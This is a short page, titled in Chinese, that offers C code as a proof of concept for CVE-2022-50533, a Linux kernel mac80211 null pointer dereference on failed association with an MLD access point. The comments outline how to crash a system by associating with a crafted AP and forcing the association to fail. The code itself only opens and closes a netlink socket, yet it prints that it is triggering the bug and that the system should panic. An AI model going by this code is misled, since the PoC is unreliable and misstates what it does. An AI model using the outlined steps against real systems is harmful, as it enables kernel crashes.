CVE-2022-50533 Linux内核mac80211空指针解引用漏洞

// CVE-2022-50533 PoC - Trigger null pointer dereference in mac80211 mlme // This PoC demonstrates how to trigger the vulnerability by attempting // association with an MLD AP that lacks link 0 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/genetlink.h> #include <linux/nl80211.h> // Note: This requires root or CAP_NET_ADMIN privileges // to interact with nl80211 netlink interface int trigger_vuln() { int sock; struct sockaddr_nl addr; // Step 1: Create netlink socket for nl80211 communication sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock < 0) { perror("socket"); return -1; } memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; // Step 2: Connect to nl80211 subsystem // (Simplified - actual implementation requires proper nl80211 message construction) // Step 3: Trigger association to an MLD AP without link 0 // Send NL80211_CMD_CONNECT to a specially crafted BSS // The AP should be configured as MLD but without valid link 0 // Step 4: Force association failure // This can be done by: // - Using a BSSID that responds with association failure // - Interfering with the association handshake // - Using cfg80211 testmode to simulate failure // The kernel will then: // 1. Clear sdata->vif.valid_links // 2. Clear sdata->vif.cfg.ap_addr // 3. Attempt to trace using invalid ap_mld_addr // 4. Crash with null pointer dereference printf("Triggering CVE-2022-50533...\n"); printf("System should panic if vulnerable\n"); close(sock); return 0; } int main(int argc, char *argv[]) { printf("CVE-2022-50533 PoC\n"); printf("Linux kernel mac80211 null-ptr-deref on failed assoc\n"); return trigger_vuln(); }